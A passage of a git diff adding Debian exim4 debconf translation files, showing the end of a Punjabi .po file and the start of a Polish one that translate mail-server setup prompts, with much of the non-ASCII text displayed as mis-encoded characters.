ਹੋਸਟ ਨਾਂ ਦਿਓ, ਜਿਸ ਲਈ ਇਹ ਸਿਸਟਮ ਬਾਹਰੀ smarthost ਵਾਂਗ " +"ਵਰਤਿਆ ਜਾਵੇਗਾ। ਜੇ smarthost ਤà©à¨¹à¨¾à¨¡à©‡ ਮੇਲ TCP/25 ਪੋਰਟ ਤੋਂ ਬਿਨਾਂ ਹੋਰ ਉੱਤੇ ਸਵੀਕਾਰ ਕਰੇ ਤਾਂ ਦੋ ਕਾਲਨ " +"ਅਤੇ ਪੋਰਟ ਨੰਬਰ ਜੋੜ ਦਿਓ (ਜਿਵੇਂ ਕਿ smarthost.example::587 ਜਾਂ 192.168.254.254::2525) " +"IPv6 ਸਿਰਨਾਵੇਂ ਲਈ ਦੋ ਕਾਲਨਾਂ ਦੀ ਲੋੜ ਹੈ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"smarthost ਲਈ ਲੋੜੀਦੀ ਪਰਮਾਣਿਕਤਾ ਲਈ SMTP ਪਰਮਾਣਕਿਤਾ ਬਾਰੇ ਜਾਣਕਾਰੀ ਲਈ /usr/share/doc/" +"exim4-base ਵਿੱਚ ਮੌਜੂਦ ਡੇਬੀਅਨ ਖਾਸ README ਫਾਇਲਾਂ ਨੂੰ ਵੇਖੋ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "ਰੂਟ (Root) ਅਤੇ ਪੋਸਟਮਾਸਟਰ ਮੇਲ ਸਨੇਹੀ:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"'postmaster', 'root', ਅਤੇ ਹੋਰ ਸਿਸਟਮ ਖਾਤਿਆਂ ਲਈ ਪੱਤਰਾਂ ਨੂੰ ਅਸਲ ਸਿਸਟਮ ਪਰਸ਼ਾਸ਼ਕ ਦੇ ਉਪà¨à©‹à¨—à©€ " +"ਖਾਤੇ ਵੱਲ à¨à©‡à¨œà¨£à¨¾ ਪਵੇਗਾ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"ਜੇਕਰ ਤà©à¨¸à©€à¨‚ ਇਹ ਮà©à©±à¨² ਖਾਲੀ ਛੱਡ ਦਿੱਤਾ ਤਾਂ, ਇਹਨਾਂ ਪੱਤਰਾਂ ਨੂੰ /var/mail/mail ਵਿੱਚ ਸੰà¨à¨¾à¨²à¨¿à¨† ਜਾਵੇਗਾ, " +"ਜਿਸ ਦੀ ਸਿਫ਼ਾਰਸ਼ ਨਹੀਂ ਕੀਤੀ ਜਾਂਦੀ ਹੈ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"postmaster, root, ਅਤੇ ਹੋਰ ਸਿਸਟਮ ਖਾਤੇ ਅਕਸਰ ਅਸਲ ਸਿਸਟਮ ਖਾਤਿਆਂ ਲਈ ਉਪà¨à©‹à¨—à©€ ਖਾਤਿਆਂ ਲਈ " +"ਦਿਸ਼ਾ ਪਰਿਵਰਤਨ ਕਰਦੇ ਹਨ। ਯਾਦ ਰੱਖੋ ਕਿ ਪੋਸਟਮਾਸਟਰ ਦਾ ਪੱਤਰ ਉਸ ਸਿਸਟਮ ਉੱਤੇ ਪੜà©à¨¹à¨¿à¨† ਜਾਣਾ ਚਾਹੀਦਾ " +"ਹੈ, ਨਾ ਕਿ ਕਿਤੇ ਹੋਰ ਅੱਗੇ à¨à©‡à¨œà¨£à¨¾ ਚਾਹੀਦਾ ਹੈ ਤਾਂ ਕਿ (ਘੱਟੋ-ਘੱਟ) ਉਪà¨à©‹à¨—à©€ ਆਪਣੀ ਮਸ਼ੀਨ ਤੋਂ ਪੱਤਰ ਬਾਹਰ ਨਾ " +"à¨à©‡à¨œ ਸਕਣ। ਲੋਕਲ ਡਿਲਵਰੀ ਲਈ 'real-' ਅਗੇਤਰ ਦੀ ਵਰਤੋਂ ਕਰੋ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "ਖਾਲੀ ਥਾਂ ਛੱਡ ਕੇ ਇੱਕ ਤੋਂ ਵੱਧ ਉਪà¨à©‹à¨—à©€ ਨਾਂ ਦਿੱਤੇ ਜਾ ਸਕਦੇ ਹਨ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "ਆਉਣ ਵਾਲੇ SMTP ਕà©à¨¨à©ˆà¨•à¨¸à¨¼à¨¨à¨¾à¨‚ ਨੂੰ ਸà©à¨¨à¨£ ਲਈ IP-ਸਿਰਨਾਵਾਂ:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"ਕਾਮਿਆਂ ਨਾਲ ਵੱਖ ਕਰਕੇ IP ਸਿਰਨਾਵੇਂ ਦਿਓ ਜੀ। Exim SMTP ਡੈਮਨ ਸਠIP ਸਿਰਨਾਵਿਆਂ ਤੋਂ ਸà©à¨£à©‡à¨—ਾ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "ਜੇਕਰ ਤà©à¨¸à©€à¨‚ ਇਹ ਮà©à©±à¨² ਖਾਲੀ ਛੱਡਿਆ ਤਾਂ, Exim ਸਠਉਪਲੱਬਧ ਨੈੱਟਵਰਕ ਇੰਟਰਫੇਸਾਂ ਕà©à¨¨à©ˆà¨•à¨¸à¨¼à¨¨à¨¾à¨‚ ਲਈ ਸà©à¨£à©‡à¨—ਾ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"ਜੇਕਰ ਇਹ ਸਿਸਟਮ ਲੋਕਲ ਸੇਰਵਿਸਾਂ ਰਾਹੀਂ ਹੀ ਮੇਲ ਸਿੱਧੀ ਲੈਂਦਾ ਹੈ (ਅਤੇ ਹੋਰ ਹੋਸਟਾਂ ਤੋਂ ਨਹੀਂ), ਤਾਂ ਲੋਕਲ " +"Exim ਡੈਮਨ ਨਾਲ ਬਾਹਰੀ ਕà©à¨¨à©ˆà¨•à¨¸à¨¼à¨¨à¨¾à¨‚ ਉੱਤੇ ਪਾਬੰਦੀ ਲਗਾ ਸਕਦੇ ਹੋ। ਇਨà©à¨¹à¨¾à¨‚ ਸਰਵਿਸਾਂ ਵਿੱਚ ਈਮੇਲ ਪਰੋਗਰਾਮ " +"(MUA) ਸ਼ਾਮਲ ਹਨ, ਜੋ ਕਿ ਲੋਕਲ-ਹੋਸਟ ਦੇ ਨਾਲ ਨਾਲ fetchmail ਨਾਲ ਸੰਪਰਕ ਕਰਦੇ ਹਨ। ਬਾਹਰੀ ਕà©à¨¨à¨•à©ˆà¨¸à¨¼à¨¨ " +"ਅਸੰà¨à¨µ ਹੋ ਜਾਂਦੇ ਹਨ, ਜਦੋਂ 127.0.0.1 ਇੱਥੇ ਦਿੱਤਾ ਜਾਂਦਾ ਹੈ, ਕਿਉਂਕਿ ਇਹ ਪਬਲਿਕ ਨੈੱਟਵਰਕ ਇੰਟਰਫੇਸਾਂ ਤੋਂ " +"ਸà©à¨£à¨¨ ਨੂੰ ਆਯੋਗ ਕਰ ਦਿੰਦੇ ਹਨ।" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "ਕੀ DNS-ਕਿਊਰੀ ਦੀ ਗਿਣਤੀ ਘੱਟੋ-ਘੱਟ ਰੱਖਣੀ ਹੈ (ਡਾਇਲ-ਆਨ-ਡਿਮਾਂਡ)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"Exim ਦੇ ਸਧਾਰਨ ਕੰਮ ਕਰਨ ਦੌਰਾਨ ਸ਼à©à¨°à©‚ ਵੇਲੇ DNS-ਖੋਜ ਕੀਤੀ ਜਾਂਦੀ ਹੈ ਤਾਂ ਕਿ ਸੰਰਚਨਾ ਫਾਇਲ ਵਿੱਚ ਮà©à©±à¨¢à¨²à©‡ " +"ਮà©à©±à¨²à¨¾à¨‚ ਦੀ ਗਿਣਤੀ ਨੂੰ ਅਤੇ ਲਾਗ-ਇਨ ਕਰਨ ਲਈ ਸੰà¨à¨¾à¨²à¨¿à¨† ਜਾ ਸਕੇ, ਜਦੋਂ ਕਿ ਪੱਤਰ ਸà©à¨¨à©‡à¨¹à©‡ à¨à©‡à¨œà©‡ ਜਾਂ ਪà©à¨°à¨¾à¨ªà¨¤ ਕੀਤੇ " +"ਜਾਂਦੇ ਹਨ। ਇਹ ਲਾਗ ਰੱਖਣ ਵਾਸਤੇ ਹੈ ਅਤੇ ਸੰਰਚਨਾ ਵਿੱਚ ਪੱਕੇ ਮà©à©±à¨² ਰੱਖਣ ਦੀ ਗਿਣਤੀ ਕਰਨ ਲਈ ਹੈ।" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"ਜੇਕਰ ਇਹ ਸਿਸਟਮ ਲਈ ਇੱਕ ਪੂਰਾ DNS ਸੇਵਾ ਉਪਲੱਬਧ ਨਹੀਂ ਹੈ (ਉਦਾਹਰਨ ਲਈ ਜੇਕਰ ਇੰਟਰਨੈੱਟ ਡਾਇਲਅੱਪ ਤਾਰ ਹੈ " +"ਤਾਂ) ਇਹ ਬੇਲੋੜੀਦਾ ਕà©à¨°à¨® ਹੋਵੇਗਾ। ਜੇਕਰ ਡਾਇਲ-ਆਨ-ਡਿਮਾਂਡ ਦੀ ਵਰਤੋਂ ਕਰਨ ਲਈ ਇੱਕ ਹੋਸਟ ਬਿਨਾਂ ਸਥਿਰ DNS-" +"ਨੇਮਸਰਵਰ-ਅਸੈੱਸ ਦੇ ਹੈ ਤਾਂ ਇਹ ਬੇਲੋੜੀਦਾ ਕà©à¨°à¨® ਹੋ ਸਕਦਾ ਹੈ, ਜਦੋਂ ਕਿ exim ਸ਼à©à¨°à©‚ ਹੋਵੇ ਜਾਂ ਕਤਾਰ ਚੱਲ ਰਹੀ " +"ਹੋਵੇ (ਸà©à¨¨à©‡à¨¹à©‡ ਦੀ ਉਡੀਕੇ ਕਿਤੇ ਬਿਨਾਂ) ਤਾਂ ਇਹ ਬੇਲੋੜੀਦਾ ਡਾਇਲ-ਅੱਪ-ਈਵੈਂਟ ਸ਼à©à¨°à©‚ ਕਰ ਸਕਦਾ ਹੈ।" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"ਇਹ ਚੋਣ ਕਰਨੀ ਚਾਹੀਦੀ ਹੈ, ਜੇਕਰ ਇਹ ਸਿਸਟਮ ਡਾਇਲ-ਆਨ-ਡਿਮਾਂਡ ਵਰਤਦਾ ਹੈ। ਜੇਕਰ ਹਮੇਸ਼ਾ ਹੀ ਇੰਟਰਨੈੱਟ " +"ਉਪਲੱਬਧ ਰਹਿੰਦਾ ਹੈ ਤਾਂ ਇਹ ਚੋਣ ਆਯੋਗ ਹੋਵੇਗੀ।" + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "ਮੇਲ ਸਰਵਰ ਸੰਰਚਨਾ" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "ਕੀ ਸੰਰਚਨਾ ਨੂੰ ਛੋਟੀਆਂ ਫਾਇਲਾਂ ਵਿੱਚ ਵੰਡਣਾ ਹੈ?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"ਡੇਬੀਅਨ exim4 ਪੈਕੇਜ 'unsplit configuration' ਢੰਗ, ਇੱਕ ਇੱਕਲੀ ਫਾਇਲ (/etc/exim4/exim4." +"conf.template) ਦੀ ਵਰਤੋਂ ਕਰ ਸਕਦਾ ਹੈ ਜਾਂ 'split configuration', ਅੰਤਰਿਮ ਸੰਰਚਨਾ ਫਾਇਲ " +"ਬਣਾਉਣ ਲਈ /etc/exim4/conf.d/ ਵਿੱਚ 50 ਤੋਂ ਵੱਧ ਫਾਇਲਾਂ ਦੀ ਵਰਤੋਂ ਕਰ ਸਕਦਾ ਹੈ।" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"ਵੱਧ ਸੋਧਾਂ ਕਰਨ ਲਈ ਪਹਿਲਾਂ ਢੰਗ ਠੀਕ ਹੈ ਅਤੇ ਆਮ ਕਰਕੇ ਵੱਧ ਸਥਿਰ ਵੀ, ਜਦੋਂ ਕਿ ਬਾਅਦ ਵਾਂਗ ਥੋੜà©à¨¹à©€à¨†à¨‚ ਸੋਧਾਂ " +"ਕਰਨ ਲਈ ਵਧੀਆ ਹੈ, ਪਰ ਵੱਧ ਖਤਰਨਾਕ ਹੈ, ਜੇਕਰ ਵੱਧ ਸੋਧਾਂ ਕੀਤੀਆਂ ਜਾਣ ਤਾਂ ਇਹ ਖਰਾਬ ਵੀ ਹੋ ਸਕਦਾ ਹੈ।" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"split ਅਤੇ unsplit ਸੰਰਚਨਾ ਬਾਰੇ ਹੋਰ ਜਾਣਕਰੀ /usr/share/doc/exim4-base ਵਿੱਚ ਖਾਸ ਡੇਬੀਅਨ " +"README ਫਾਇਲਾਂ ਵਿੱਚ ਹੈ।" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "ਕੀ ਬਾਹਰੀ à¨à©‡à¨œà¨£ ਮੇਲ ਵਿੱਚ ਲੋਕਲ ਮੇਲ ਨਾਂ ਓਹਲੇ ਰੱਖਣਾ ਹੈ?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"ਇੱਕ ਵੱਖਰੇ ਸਿਸਟਮ ਤੋਂ ਤਿਆਰ ਹà©à©°à¨¦à¨¾ ਵੇਖਾਉਣ ਲਈ ਤà©à¨¸à©€à¨‚ ਬਾਹਰ ਜਾਣ ਵਾਲੇ ਪੱਤਰ ਦਾ ਸਿਰਲੇਖ ਮà©à©œ ਲਿਖ ਸਕਦੇ ਹੋ, " +"ਜਿੱਥੇ ਕਿ ਫਾਰਮ ਵਿੱਚ '${mailname}', 'localhost' ਅਤੇ '${dc_other_hostnames}' ਜਵਾਬ, " +"à¨à©‡à¨œà¨£ ਵਾਲਾ ਅਤੇ ਵਾਪਸੀ ਮਾਰਗ ਹਨ।" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "/var/mail/ ਵਿੱਚ mbox ਫਾਰਮੈਟ" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "ਘਰ ਡਾਇਰੈਕਟਰੀ ਵਿੱਚ Maildir ਫਾਰਮੈਟ" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "ਲੋਕਲ ਮੇਲ ਲਈ à¨à©‡à¨œà¨£ ਢੰਗ:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim ਲੋਕਲ ਡਿਲਵਰ ਕੀਤੀਆਂ ਈ-ਮੇਲਾਂ ਨੂੰ ਵੱਖ ਵੱਖ ਫਾਰਮੈਟ 'ਚ ਸੰà¨à¨¾à¨²à¨£ ਯੋਗ ਹੈ। ਸਠਤੋਂ ਆਮ ਹਨ mbox ਅਤੇ " +"Maildir। mbox /var/mail/ ਮੇਲ ਫੋਲਡਰ 'ਚ ਸੰà¨à¨¾à¨²à©‡ ਸਠਲਈ ਇੱਕ ਇੱਕਲੀ ਫਾਇਲ ਵਰਤਦੀ ਹੈ। Maildir " +"ਫਾਰਮੈਟ ਇੱਕ ਇੱਕਲੇ ਸà©à¨¨à©‡à¨¹à©‡ ਲਈ ~/Maildir/ ਵਿੱਚ ਇੱਕ ਵੱਖਰੀ ਫਾਇਲ ਸੰà¨à¨¾à¨²à¨¦à©€ ਹੈ।" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"ਯਾਦ ਰੱਖ ਕਿ ਡੇਬੀਅਨ 'ਚ ਆਮ ਮੇਲ ਸੰਦ, ਲੋਕਲ ਡਿਲਵੀ ਢੰਗ ਤੋਂ ਬਿਨਾਂ, ਲਈ mbox ਮੂਲ ਰੂਪ ਵਿੱਚ ਹà©à©°à¨¦à¨¾ ਹੈ।" diff --git a/debian/po/pl.po b/debian/po/pl.po new file mode 100644 index 0000000..926758e --- /dev/null +++ b/debian/po/pl.po @@ -0,0 +1,636 @@ +# translation of exim_exim_debian_pl.po to Polish +# +# Translators, if you are not familiar with the PO format, gettext +# documentation is worth reading, especially sections dedicated to +# this format, e.g. by running: +# info -n '(gettext)PO Files' +# info -n '(gettext)Header Entry' +# Some information specific to po-debconf are available at +# /usr/share/doc/po-debconf/README-trans +# or http://www.debian.org/intl/l10n/po-debconf/README-trans# +# Developers do not need to manually edit POT or PO files. +# Tomasz Z. Napierala <zen@debian.linux.org.pl>, 2004. +# Bartosz Fenski <fenio@debian.org>, 2004 +# Marcin Owsiany <porridge@debian.org>, 2008 +msgid "" +msgstr "" +"Project-Id-Version: exim_exim_debian_pl\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2008-04-27 19:34+0100\n" +"Last-Translator: Marcin Owsiany <porridge@debian.org>\n" +"Language-Team: Polish <debian-l10-polish@lists.debian.org>\n" +"Language: pl\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Generator: KBabel 1.3.1\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "Usunąć niedostarczonÄ… pocztÄ™ z katalogu kolejki?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"W katalogu kolejki exima /var/spool/exim4/input istniejÄ… wiadomoÅ›ci, które " +"nie zostaÅ‚y jeszcze dostarczone. Po usuniÄ™ciu exima bÄ™dÄ… tam leżaÅ‚y " +"niedostarczone, aż do ponownej jego instalacji." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"JeÅ›li nie wybierzesz tej opcji, katalog kolejki nie zostanie usuniÄ™ty, co " +"pozwoli na dostarczenie oczekujÄ…cych wiadomoÅ›ci w przyszÅ‚oÅ›ci, jeÅ›li Exim " +"zostanie ponownie zainstalowany." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "Uruchom rekonfiguracjÄ™ exim4-config, zamiast tego pakietu" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Konfiguracja Exim4 znajduje siÄ™ w osobnym pakiecie, exim4-config. Aby jÄ… " +"zmienić, uruchom \"dpkg-reconfigure exim4-config\"." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "oÅ›rodek internetowy - poczta jest przesyÅ‚ana bezpoÅ›rednio przez SMTP" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "" +"poczta wysyÅ‚ana przez poÅ›rednika - otrzymywana przez SMTP lub fetchmail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "poczta wysyÅ‚ana przez poÅ›rednika - bez dostarczania lokalnego" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "tylko dostarczanie lokalne - bez dostÄ™pu do sieci" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "nie konfiguruj w tym momencie" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Ogólne typy konfiguracji poczty:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "" +"Wybierz typ konfiguracji serwera poczty, który najbardziej Ci odpowiada." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"Komputery bez staÅ‚ego adresu IP, w tym poÅ‚Ä…czenia wdzwaniane, powinny " +"wysyÅ‚ać pocztÄ™ za poÅ›rednictwem innego komputera o staÅ‚ym adresie, zwanego " +"\"smarthost\", ponieważ wiele systemów w Internecie odrzuca pocztÄ™ wysyÅ‚anÄ… " +"bezpoÅ›rednio ze zmiennych adresów IP w obawie przed spamem." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"Taki system może lokalnie przyjmować skierowanÄ… do niego pocztÄ™. Można też " +"zupeÅ‚nie wyÅ‚Ä…czyć lokalne dostarczanie poczty (oprócz poczty do użytkowników " +"root i postmaster)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "NaprawdÄ™ pozostawić system poczty nieskonfigurowany?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"Twój system poczty pozostanie bezużyteczny dopóki nie zostanie " +"skonfigurowany. Można go oczywiÅ›cie skonfigurować później: albo rÄ™cznie, " +"albo uruchamiajÄ…c jako root polecenie \"dpkg-reconfigure exim4-config\"." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "Nazwa pocztowa systemu:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"\"Nazwa pocztowa\" to nazwa domeny dopisywana automatycznie do adresów bez " +"domeny." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Nazwa ta bÄ™dzie również używana przez inne programy, powinna ona być peÅ‚nÄ… " +"nazwÄ… domeny." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"JeÅ›li przykÅ‚adowy adres pocztowy na tym systemie to bla@przyklad.pl, to " +"wÅ‚aÅ›ciwÄ… wartoÅ›ciÄ… tej opcji jest przyklad.pl." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"Nazwa ta nie bÄ™dzie siÄ™ pojawiać w polu From: wychodzÄ…cych wiadomoÅ›ci jeżeli " +"wÅ‚Ä…czysz mechanizm przepisywania." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Inne systemy docelowe dla których poczta jest przyjmowana:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Wprowadź rozdzielonÄ… Å›rednikami listÄ™ domen dla których ten komputer jest " +"miejscem docelowym. Domeny te sÄ… popularnie zwane \"domenami lokalnymi\". " +"LokalnÄ… nazwa komputera (${fqdn}) i \"localhost\" zostanÄ… automatycznie " +"dopisane do wprowadzonej listy." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"DomyÅ›lnie wszystkie domeny lokalne bÄ™dÄ… traktowane tak samo. JeÅ›li domeny a." +"przyklad i b.przyklad sÄ… domenami lokalnymi, to poczta dla ktos@a.przyklad i " +"ktos@b.przyklad trafi w to samo miejsce. JeÅ›li różne domeny majÄ… być " +"traktowane w różny sposób, konieczna jest późniejsza modyfikacja plików " +"konfiguracyjnych." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Domeny dla których przekazywać pocztÄ™:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"Wprowadź rozdzielonÄ… Å›rednikami listÄ™ domen adresatów, dla których ten " +"system bÄ™dzie przekazywać pocztÄ™, na przykÅ‚ad jako zapasowy MX lub bramka " +"pocztowa. Poczta dla tych domen bÄ™dzie przyjmowana z dowolnego miejsca " +"Internetu, a nastÄ™pnie dostarczana wedÅ‚ug lokalnych zasad." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "Nie uwzglÄ™dniaj tutaj lokalnych domen. Możesz używać znaku 